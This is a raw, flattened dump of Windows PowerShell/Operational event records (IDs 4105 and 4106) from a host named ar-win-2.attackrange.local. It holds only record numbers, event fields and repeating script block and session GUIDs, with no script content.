410515102150x0668200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0668039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0668038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 